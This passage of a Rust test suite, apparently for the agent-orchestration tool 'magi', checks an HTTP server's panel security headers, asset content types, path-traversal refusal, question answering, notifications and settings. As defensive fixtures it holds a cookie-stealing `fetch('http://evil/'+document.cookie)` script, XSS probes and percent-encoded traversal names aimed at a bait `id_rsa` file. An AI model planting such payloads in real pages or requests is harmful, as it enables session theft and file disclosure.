7037            "20260902-000000-beef".to_owned(),
7038            "land".to_owned(),
7039            "fix".to_owned(),
7040            "Merge this?".to_owned(),
7041            "the diff is in the panel".to_owned(),
7042            vec!["merge".to_owned(), "hold".to_owned()],
7043        );
7044        // Staged outside the questions root, because `put_panel` copies from
7045        // wherever the agent left its files.
7046        let staging = fx.home.path().join("staging");
7047        std::fs::create_dir_all(&staging).expect("staging dir");
7048        let sources: Vec<PathBuf> = assets
7049            .iter()
7050            .map(|(name, bytes)| {
7051                let path = staging.join(name);
7052                std::fs::write(&path, bytes).expect("write staged asset");
7053                path
7054            })
7055            .collect();
7056        store
7057            .put_panel(&mut q, html, &sources)
7058            .expect("write the panel");
7059        store.put(&mut q).expect("put question");
7060        q.id
7061    }
7062
7063    /// A talk on disk, without talking to a model.
7064    ///
7065    /// Written as JSON straight into the store the server reads, because the
7066    /// only constructor `talk::begin` offers takes no turn but still requires
7067    /// a real caller-visible flow. The one thing this cannot make up is the
7068    /// seat, so it is built with the real `SeatState::new` and serialized -
7069    /// the alternative, hand-writing that object, would make these tests fail
7070    /// the day the seat gains a field.
7071    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7072        let store = fx.talks();
7073        std::fs::create_dir_all(store.root()).expect("talks dir");
7074        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7075            .expect("serialize a seat");
7076        let body = serde_json::json!({
7077            "schema": 1,
7078            "id": id,
7079            "repo": "/repo/magi",
7080            "agent": "mock",
7081            "status": status,
7082            "turns": [],
7083            "created_at": Timestamp::now().to_string(),
7084            "updated_at": Timestamp::now().to_string(),
7085            "seat": seat,
7086        });
7087        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7088        store.get(id).expect("the seeded talk has to be readable");
7089        id.to_owned()
7090    }
7091
7092    #[tokio::test]
7093    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7094        let fx = Fixture::start().await;
7095        let id = panel(
7096            &fx,
7097            "<h1>Merge?</h1><img src=\"diff.svg\">",
7098            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7099        );
7100
7101        for path in [
7102            format!("/api/questions/{id}/panel"),
7103            format!("/api/questions/{id}/asset/diff.svg"),
7104        ] {
7105            let res = fx.get(&path).await;
7106            assert_eq!(res.status, 200, "{path}: {}", res.body);
7107            // The whole string, not a substring. A weakened directive - an
7108            // `img-src *` that lets a panel beacon out to a remote host, a
7109            // `script-src` anything, a missing `form-action` that lets it post
7110            // the owner's decision to a third party - has to fail here, and a
7111            // `contains` assertion would let every one of those through.
7112            assert_eq!(
7113                res.header("content-security-policy"),
7114                Some(
7115                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7116                     font-src data:; base-uri 'none'; form-action 'none'; \
7117                     frame-ancestors 'self'"
7118                ),
7119                "{path} is the only thing between a hostile panel and the tailnet"
7120            );
7121            assert_eq!(
7122                res.header("x-content-type-options"),
7123                Some("nosniff"),
7124                "{path}: a browser must not re-decide the type we sent"
7125            );
7126            assert_eq!(
7127                res.header("referrer-policy"),
7128                Some("no-referrer"),
7129                "{path}: a panel must not leak the question id off the machine"
7130            );
7131
7132            // The front end mounts the frame only after a `HEAD` says the
7133            // panel is there, so `HEAD` has to answer with the same status and
7134            // the same policy as `GET` - a preflight that came back without
7135            // the CSP would mean a frame mounted on an unverified promise.
7136            let pre = fx.head(&path).await;
7137            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7138            assert_eq!(
7139                pre.header("content-security-policy"),
7140                res.header("content-security-policy"),
7141                "{path}: the preflight carries the same policy"
7142            );
7143            assert_eq!(
7144                pre.header("content-type"),
7145                res.header("content-type"),
7146                "{path}: the preflight carries the same type"
7147            );
7148        }
7149    }
7150
7151    #[tokio::test]
7152    async fn a_panel_reaches_the_browser_byte_for_byte() {
7153        let fx = Fixture::start().await;
7154        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7155        // tag, an entity, and a multi-byte character. The sandbox is what makes
7156        // this safe, so nothing here may be rewritten on the way out - a
7157        // rewritten diff is a diff the owner cannot trust.
7158        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7159        let id = panel(&fx, html, &[]);
7160
7161        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7162
7163        assert_eq!(res.status, 200);
7164        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7165        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7166        assert_eq!(
7167            res.header("content-disposition"),
7168            None,
7169            "the panel itself is rendered in the frame, not downloaded"
7170        );
7171    }
7172
7173    #[tokio::test]
7174    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7175        let fx = Fixture::start().await;
7176        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7177        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7178        let id = panel(
7179            &fx,
7180            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7181            &[("diff.svg", svg), ("shot.png", png)],
7182        );
7183
7184        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7185        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7186
7187        assert_eq!(as_svg.status, 200);
7188        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7189        // An SVG is XML that may carry script. Inside the panel it is an
7190        // `<img src>` and the script cannot run; opened at the top level it
7191        // would be a document on magi's own origin, so the browser is told to
7192        // download it instead of rendering it.
7193        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7194
7195        assert_eq!(as_png.status, 200);
7196        assert_eq!(as_png.header("content-type"), Some("image/png"));
7197        assert_eq!(
7198            as_png.header("content-disposition"),
7199            None,
7200            "a raster image has no execution surface, so tapping it still shows it"
7201        );
7202        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7203    }
7204
7205    #[tokio::test]
7206    async fn an_html_asset_is_never_served_as_html() {
7207        let fx = Fixture::start().await;
7208        let id = panel(
7209            &fx,
7210            "<p>see the notes</p>",
7211            &[
7212                (
7213                    "notes.html",
7214                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7215                ),
7216                ("hook.js", b"fetch('http://evil/')"),
7217                ("data.json", b"{}"),
7218                ("HEADLINE.TXT", b"plain"),
7219            ],
7220        );
7221
7222        for name in ["notes.html", "hook.js", "data.json"] {
7223            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7224            assert_eq!(res.status, 200, "{name}: {}", res.body);
7225            // Serving this as text/html would be a way to reach agent markup
7226            // at the top level of the operator's browser, outside the frame's
7227            // sandbox and outside its CSP - which is the whole thing the panel
7228            // design exists to prevent. Unlisted types are downloads.
7229            assert_eq!(
7230                res.header("content-type"),
7231                Some("application/octet-stream"),
7232                "{name} must not be a type the browser will execute or render"
7233            );
7234        }
7235        // The whitelist is matched case-insensitively, so an agent shouting the
7236        // extension still gets a readable file rather than a download.
7237        let txt = fx
7238            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7239            .await;
7240        assert_eq!(
7241            txt.header("content-type"),
7242            Some("text/plain; charset=utf-8")
7243        );
7244    }
7245
7246    #[tokio::test]
7247    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7248        let fx = Fixture::start().await;
7249        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7250        // Something outside the panel directory that a traversal would reach if
7251        // one got through, so a passing test is not merely "the file was
7252        // missing anyway".
7253        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7254
7255        // Decoded before this server's handler sees them: axum percent-decodes
7256        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7257        // string with a NUL in it. All three look like ordinary single-segment
7258        // filenames to the router, so the router passes them through and
7259        // `valid_asset_name` is what refuses them - for the literal `..`, and
7260        // for `/`, `\` and NUL not being in the permitted character set.
7261        for encoded in [
7262            "%2e%2e%2fid_rsa",
7263            "..%2fid_rsa",
7264            "..%5cid_rsa",
7265            "%2e%2e%5cid_rsa",
7266            "diff%00.svg",
7267            "..",
7268            ".hidden",
7269            "%2e%2e%2f%2e%2e%2fid_rsa",
7270        ] {
7271            let res = fx
7272                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7273                .await;
7274            assert_eq!(
7275                res.status, 400,
7276                "`{encoded}` has to be refused by name, not looked up: {}",
7277                res.body
7278            );
7279            assert!(res.json()["error"].is_string(), "{}", res.body);
7280        }
7281
7282        // Not decoded, and never this handler's problem: a real slash makes the
7283        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7284        // so axum's router has no route to match and answers before any code
7285        // here runs. Asserted so that a future route with a wildcard segment
7286        // cannot quietly open this door.
7287        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7288            let res = fx
7289                .get(&format!("/api/questions/{id}/asset/{literal}"))
7290                .await;
7291            assert_eq!(
7292                res.status, 404,
7293                "`{literal}` must not match the asset route at all: {}",
7294                res.body
7295            );
7296        }
7297    }
7298
7299    #[tokio::test]
7300    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7301        let fx = Fixture::start().await;
7302        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7303        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7304
7305        // A question nobody wrote a panel for. The client preflights with HEAD
7306        // and cannot see inside a sandboxed frame, so this must be a status and
7307        // not an empty page.
7308        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7309        assert_eq!(none.status, 404, "{}", none.body);
7310        assert!(none.json()["error"].is_string(), "{}", none.body);
7311        assert_eq!(
7312            fx.head(&format!("/api/questions/{plain}/panel"))
7313                .await
7314                .status,
7315            404,
7316            "the preflight is the only way the client can learn this"
7317        );
7318
7319        // A name that is perfectly legal and simply is not there.
7320        let missing = fx
7321            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7322            .await;
7323        assert_eq!(missing.status, 404, "{}", missing.body);
7324        assert!(missing.json()["error"].is_string(), "{}", missing.body);
7325
7326        // A question that does not exist at all, on both routes.
7327        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7328        assert_eq!(
7329            fx.get("/api/questions/nope/asset/diff.svg").await.status,
7330            404
7331        );
7332    }
7333
7334    #[tokio::test]
7335    async fn a_run_with_an_open_question_reads_as_waiting() {
7336        let fx = Fixture::start().await;
7337        let run = "20260902-000000-beef".to_owned();
7338        write_run(&fx.runs(), &run, RunStatus::Implementing);
7339
7340        let before = fx.get("/api/runs").await.json();
7341        assert_eq!(before[0]["waiting"], false, "{before}");
7342
7343        let store = fx.questions();
7344        let mut q = Question::new(
7345            run.clone(),
7346            "implement".to_owned(),
7347            "impl-A".to_owned(),
7348            "Which backend?".to_owned(),
7349            String::new(),
7350            vec!["SQLite".to_owned()],
7351        );
7352        store.put(&mut q).expect("put");
7353
7354        let during = fx.get("/api/runs").await.json();
7355        assert_eq!(during[0]["waiting"], true, "{during}");
7356
7357        // Answered: the run is moving again, and the flag has to follow without
7358        // anything having rewritten run.json.
7359        q.answer(Answer::Choice("SQLite".to_owned()))
7360            .expect("answer");
7361        store.put(&mut q).expect("put");
7362        let after = fx.get("/api/runs").await.json();
7363        assert_eq!(after[0]["waiting"], false, "{after}");
7364    }
7365
7366    #[tokio::test]
7367    async fn an_open_question_is_listed_and_counted_by_health() {
7368        let fx = Fixture::start().await;
7369        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7370
7371        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7372        let listed = fx.get("/api/questions").await.json();
7373        assert_eq!(listed.as_array().expect("array").len(), 1);
7374        assert_eq!(listed[0]["id"], id);
7375        assert_eq!(listed[0]["status"], "open");
7376        assert_eq!(listed[0]["choices"][1], "Redis");
7377        // The count is what makes the phone's indicator honest: it is the one
7378        // number meaning nothing will move until a human acts.
7379        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7380    }
7381
7382    #[tokio::test]
7383    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7384        let fx = Fixture::start().await;
7385        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7386        let path = format!("/api/questions/{id}/answer");
7387
7388        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7389        assert_eq!(res.status, 200, "{}", res.body);
7390        let body = res.json();
7391        assert_eq!(body["status"], "answered");
7392        assert_eq!(body["answer"]["choice"], "Redis");
7393
7394        // Answered from the terminal in between the list and the tap: the UI
7395        // must be able to tell this from a bad request, so it can show the
7396        // recorded answer instead of an error.
7397        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7398        assert_eq!(again.status, 409, "{}", again.body);
7399        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7400    }
7401
7402    #[tokio::test]
7403    async fn saying_something_appends_a_turn_without_answering() {
7404        let fx = Fixture::start().await;
7405        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7406        let path = format!("/api/questions/{id}/say");
7407
7408        let res = fx
7409            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7410            .await;
7411        assert_eq!(res.status, 200, "{}", res.body);
7412        let body = res.json();
7413        assert_eq!(body["status"], "open", "talking back is not a decision");
7414        assert_eq!(body["answer"], Value::Null);
7415        assert_eq!(body["thread"][0]["who"], "operator");
7416        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7417        assert_eq!(body["waiting_on_agent"], true);
7418        // Still open, still counted, still exactly one question.
7419        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7420    }
7421
7422    #[tokio::test]
7423    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7424        let fx = Fixture::start().await;
7425        let store = fx.questions();
7426        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7427        assert_eq!(
7428            fx.get("/api/health").await.json()["questions_needs_owner"],
7429            1
7430        );
7431
7432        // The owner asks back instead of deciding: the ask bar, the nav badge
7433        // and the title must stop naming this question, because there is
7434        // nothing to decide until the agent answers - `status` alone cannot
7435        // say that, which is the whole reason `questions_needs_owner` exists
7436        // alongside `questions_open`.
7437        let res = fx
7438            .post(
7439                &format!("/api/questions/{id}/say"),
7440                Some(r#"{"body":"why not Postgres?"}"#),
7441            )
7442            .await;
7443        assert_eq!(res.status, 200, "{}", res.body);
7444        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7445        assert_eq!(
7446            fx.get("/api/health").await.json()["questions_needs_owner"],
7447            0,
7448            "waiting on the agent is not waiting on the owner"
7449        );
7450
7451        // `magi ask --thread` replying is what brings the owner count back -
7452        // the same event that would resume the CLI call blocked in `magi
7453        // ask`.
7454        let mut q = store.get(&id).expect("get");
7455        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7456            .expect("reply");
7457        store.put(&mut q).expect("put");
7458        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7459        assert_eq!(
7460            fx.get("/api/health").await.json()["questions_needs_owner"],
7461            1,
7462            "the agent's reply is what should light the banner back up"
7463        );
7464    }
7465
7466    #[tokio::test]
7467    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7468        let fx = Fixture::start().await;
7469        let store = fx.questions();
7470
7471        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7472        let res = fx
7473            .post(
7474                &format!("/api/questions/{empty_id}/say"),
7475                Some(r#"{"body":"   "}"#),
7476            )
7477            .await;
7478        assert_eq!(res.status, 400, "{}", res.body);
7479
7480        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7481        let mut answered = store.get(&answered_id).expect("get");
7482        answered
7483            .answer(Answer::Choice("SQLite".to_owned()))
7484            .expect("answer");
7485        store.put(&mut answered).expect("put");
7486        let res = fx
7487            .post(
7488                &format!("/api/questions/{answered_id}/say"),
7489                Some(r#"{"body":"still there?"}"#),
7490            )
7491            .await;
7492        assert_eq!(res.status, 409, "{}", res.body);
7493
7494        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7495        let mut abandoned = store.get(&abandoned_id).expect("get");
7496        abandoned.abandon("timed out");
7497        store.put(&mut abandoned).expect("put");
7498        let res = fx
7499            .post(
7500                &format!("/api/questions/{abandoned_id}/say"),
7501                Some(r#"{"body":"still there?"}"#),
7502            )
7503            .await;
7504        assert_eq!(res.status, 409, "{}", res.body);
7505    }
7506
7507    #[tokio::test]
7508    async fn an_answer_the_question_does_not_offer_is_refused() {
7509        let fx = Fixture::start().await;
7510        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7511        let path = format!("/api/questions/{id}/answer");
7512
7513        for body in [
7514            r#"{"choice":"Postgres"}"#,
7515            r#"{"text":"whatever you think"}"#,
7516            r#"{"choice":"Redis","text":"both"}"#,
7517            r#"{}"#,
7518        ] {
7519            let res = fx.post(&path, Some(body)).await;
7520            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7521            assert!(res.json()["error"].is_string(), "{}", res.body);
7522        }
7523        // Nothing above may have answered it.
7524        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7525    }
7526
7527    #[tokio::test]
7528    async fn a_free_text_question_takes_text_and_not_a_choice() {
7529        let fx = Fixture::start().await;
7530        let id = ask(&fx, "What should the flag be called?", &[]);
7531        let path = format!("/api/questions/{id}/answer");
7532
7533        assert_eq!(
7534            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7535            400
7536        );
7537        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7538        assert_eq!(res.status, 200, "{}", res.body);
7539        assert_eq!(res.json()["answer"]["text"], "--json");
7540    }
7541
7542    #[tokio::test]
7543    async fn an_unknown_question_is_a_json_404() {
7544        let fx = Fixture::start().await;
7545        let res = fx
7546            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7547            .await;
7548        assert_eq!(res.status, 404, "{}", res.body);
7549        assert!(res.json()["error"].is_string());
7550    }
7551
7552    #[tokio::test]
7553    async fn notifications_list_read_dismiss_and_health_agree() {
7554        let fx = Fixture::start().await;
7555        let store = Notices::at(fx.home.path().join("notifications"));
7556        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7557        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7558
7559        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7560        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7561
7562        let health = fx.get("/api/health").await.json();
7563        assert_eq!(health["notifications_unread"], 2);
7564        assert_ne!(
7565            health["notifications_rev"], rev0,
7566            "the badge must move live"
7567        );
7568
7569        let listed = fx.get("/api/notifications").await.json();
7570        assert_eq!(listed["unread"], 2);
7571        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7572        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7573
7574        let read = fx
7575            .post(&format!("/api/notifications/{}/read", a.id), None)
7576            .await;
7577        assert_eq!(read.status, 200, "{}", read.body);
7578        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7579
7580        let gone = fx
7581            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7582            .await;
7583        assert_eq!(gone.status, 200, "{}", gone.body);
7584        let listed = fx.get("/api/notifications").await.json();
7585        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7586        assert_eq!(listed["unread"], 0);
7587
7588        store.raise(Notice::info("x", "again")).unwrap();
7589        let all = fx.post("/api/notifications/read-all", None).await;
7590        assert_eq!(all.status, 200, "{}", all.body);
7591        assert_eq!(all.json()["marked"], 1);
7592        assert_eq!(
7593            fx.get("/api/health").await.json()["notifications_unread"],
7594            0
7595        );
7596
7597        let missing = fx.post("/api/notifications/nope/read", None).await;
7598        assert_eq!(missing.status, 404, "{}", missing.body);
7599        assert!(missing.json()["error"].is_string());
7600    }
7601
7602    /// New work reaches the queue through `magi task add`, a standing talk's
7603    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
7604    /// so the compose form and that route are gone. The tests that covered
7605    /// that route's validation went with it, and nothing was left asserting
7606    /// it stays gone — so a re-added handler would silently let the phone
7607    /// file briefs no one validated.
7608    #[tokio::test]
7609    async fn a_task_cannot_be_filed_over_the_phone_directly() {
7610        let f = Fixture::start().await;
7611
7612        let res = f
7613            .post(
7614                "/api/queue",
7615                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7616            )
7617            .await;
7618
7619        assert_eq!(
7620            res.status, 405,
7621            "POST /api/queue must not be a route: {}",
7622            res.body
7623        );
7624        assert!(
7625            f.queue().list().is_empty(),
7626            "a task filed by a route that does not exist must not reach the disk"
7627        );
7628        // The path itself is still served — the Queue view reads it — and the
7629        // per-task controls are untouched by the entry being removed.
7630        assert_eq!(f.get("/api/queue").await.status, 200);
7631    }
7632
7633    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
7634    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7635        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7636            .expect("checkout dir");
7637    }
7638
7639    /// Two command agents, so a config needs no real CLI.
7640    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7641
7642    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7643        let tmp = TempDir::new().expect("tempdir");
7644        let repo = tmp.path().join("repo");
7645        std::fs::create_dir_all(&repo).expect("repo dir");
7646        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7647        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7648        if let Some(text) = machine_toml {
7649            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7650            std::fs::write(&machine, text).expect("machine toml");
7651        }
7652        (tmp, repo, machine)
7653    }
7654
7655    #[tokio::test]
7656    async fn settings_get_reports_sources_and_the_advisors_fallback() {
7657        let (_tmp, repo, machine) =
7658            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7659        let f = Fixture::with_repo_and_machine(repo, machine).await;
7660        let res = f.get("/api/settings").await;
7661        assert_eq!(res.status, 200, "{}", res.body);
7662        let v = res.json();
7663        assert!(v["error"].is_null(), "{v}");
7664        let role = |k: &str| {
7665            v["roles"]
7666                .as_array()
7667                .and_then(|r| r.iter().find(|x| x["key"] == k))
7668                .cloned()
7669                .unwrap_or_else(|| panic!("no role {k}: {v}"))
7670        };
7671        assert_eq!(role("judges")["source"], "machine");
7672        assert_eq!(role("judges")["editable"], true);
7673        assert_eq!(role("implementers")["source"], "default");
7674        let adv = role("advisors");
7675        assert_eq!(adv["fallback"], "judges");
7676        assert!(
7677            adv["seats"]
7678                .as_array()
7679                .is_some_and(|s| s.iter().all(|x| x == "b")),
7680            "{adv}"
7681        );
7682        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7683        assert_eq!(v["agents"][0]["source"], "repo");
7684    }
7685
7686    #[tokio::test]
7687    async fn settings_get_reports_a_config_that_does_not_parse() {
7688        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7689        let f = Fixture::with_repo_and_machine(repo, machine).await;
7690        let res = f.get("/api/settings").await;
7691        assert_eq!(res.status, 200, "{}", res.body);
7692        let v = res.json();
7693        assert!(v["error"]["message"].is_string(), "{v}");
7694        assert!(
7695            v["error"]["path"]
7696                .as_str()
7697                .is_some_and(|p| p.ends_with("magi.toml")),
7698            "{v}"
7699        );
7700        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7701    }
7702
7703    #[tokio::test]
7704    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7705        let (_tmp, repo, machine) = settings_dirs(
7706            SETTINGS_AGENTS,
7707            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
7708        );
7709        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7710        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7711        let rev = f.get("/api/settings").await.json()["revision"]
7712            .as_str()
7713            .expect("revision")
7714            .to_owned();
7715        let body = serde_json::json!({
7716            "revision": rev,
7717            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7718        })
7719        .to_string();
7720        let res = f.put("/api/settings/roles", &body).await;
7721        assert_eq!(res.status, 200, "{}", res.body);
7722        let text = std::fs::read_to_string(&machine).expect("machine");
7723        assert_eq!(
7724            text,
7725            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7726        );
7727        assert_eq!(
7728            std::fs::read(repo.join("magi.toml")).expect("read"),
7729            repo_before
7730        );
7731        let again = f.get("/api/settings").await.json();
7732        let judges = again["roles"]
7733            .as_array()
7734            .expect("roles")
7735            .iter()
7736            .find(|r| r["key"] == "judges")
7737            .expect("judges")
7738            .clone();
7739        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7740        // The old revision is now stale.
7741        let stale = f.put("/api/settings/roles", &body).await;
7742        assert_eq!(stale.status, 409, "{}", stale.body);
7743    }
7744
7745    #[tokio::test]
7746    async fn settings_put_refuses_without_touching_the_file() {
7747        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7748        let (_tmp, repo, machine) = settings_dirs(
7749            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7750            Some(machine_text),
7751        );
7752        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7753        let rev = f.get("/api/settings").await.json()["revision"]
7754            .as_str()
7755            .expect("revision")
7756            .to_owned();
7757        for roles in [
7758            serde_json::json!({ "judges": ["nope"] }),
7759            serde_json::json!({ "reviewers": ["b"] }),
7760            serde_json::json!({ "bogus": ["a"] }),
7761        ] {
7762            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7763            let res = f.put("/api/settings/roles", &body).await;
7764            assert_eq!(res.status, 422, "{roles}: {}", res.body);
7765            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7766            assert_eq!(
7767                std::fs::read_to_string(&machine).expect("machine"),
7768                machine_text
7769            );
7770        }
7771    }
7772
7773    #[tokio::test]
7774    async fn repos_list_returns_name_and_path_for_every_configured_root() {
7775        let tmp = TempDir::new().expect("tempdir");
7776        let repo = tmp.path().join("repo");
7777        std::fs::create_dir_all(&repo).expect("repo dir");
7778        let root = tmp.path().join("root");
7779        make_checkout(&root, "github.com", "yukimemi", "magi");
7780        std::fs::write(
7781            repo.join("magi.toml"),
7782            format!(
7783                "[repos]\nroots = [{:?}]\n",
7784                root.to_string_lossy().into_owned()
7785            ),
7786        )
7787        .expect("write magi.toml");
7788
7789        let f = Fixture::with_repo(repo).await;
7790        let res = f.get("/api/repos").await;
7791        assert_eq!(res.status, 200, "{}", res.body);
7792        let list = res.json();
7793        let repos = list.as_array().expect("an array");
7794        assert_eq!(repos.len(), 1);
7795        assert_eq!(repos[0]["name"], "yukimemi/magi");
7796        assert!(
7797            repos[0]["path"]
7798                .as_str()
7799                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7800            "{list}"
7801        );
7802    }
7803
7804    #[tokio::test]
7805    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7806        let tmp = TempDir::new().expect("tempdir");
7807        let repo = tmp.path().join("repo");
7808        std::fs::create_dir_all(&repo).expect("repo dir");
7809        let root = tmp.path().join("root");
7810        make_checkout(&root, "github.com", "yukimemi", "magi");
7811        std::fs::write(
7812            repo.join("magi.toml"),
7813            format!(
7814                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7815                root.to_string_lossy().into_owned()
7816            ),
7817        )
7818        .expect("write magi.toml");
7819
7820        let f = Fixture::with_repo(repo).await;
7821        let first = f.get("/api/repos").await;
7822        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7823
7824        // A second checkout appears; within the TTL the cached answer must
7825        // not notice it.
7826        make_checkout(&root, "github.com", "yukimemi", "rvpm");
7827        let second = f.get("/api/repos").await;
7828        assert_eq!(
7829            second.json().as_array().map(Vec::len),
7830            Some(1),
7831            "a fresh cache must not rescan inside the TTL"
7832        );
7833
7834        let refreshed = f.get("/api/repos?refresh=1").await;
7835        assert_eq!(
7836            refreshed.json().as_array().map(Vec::len),
7837            Some(2),
7838            "an explicit refresh must rescan even inside the TTL"
7839        );
7840    }
7841
7842    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
7843    /// string, declared straight in a repository's own `magi.toml` rather
7844    /// than the operator's real roster. No real agent CLI is spawned - `sh`
7845    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
7846    /// this is safe to run over a real HTTP round trip.
7847    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7848
7849    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
7850    /// real `Config::discover` to find an agent - `talk::begin` resolves one
7851    /// even though it takes no turn, and `talk_say` invokes one.
7852    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7853        let tmp = TempDir::new().expect("tempdir");
7854        let repo = tmp.path().join("repo");
7855        std::fs::create_dir_all(&repo).expect("repo dir");
7856        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7857        let f = Fixture::with_repo(repo.clone()).await;
7858        (tmp, repo, f)
7859    }
7860
7861    #[tokio::test]
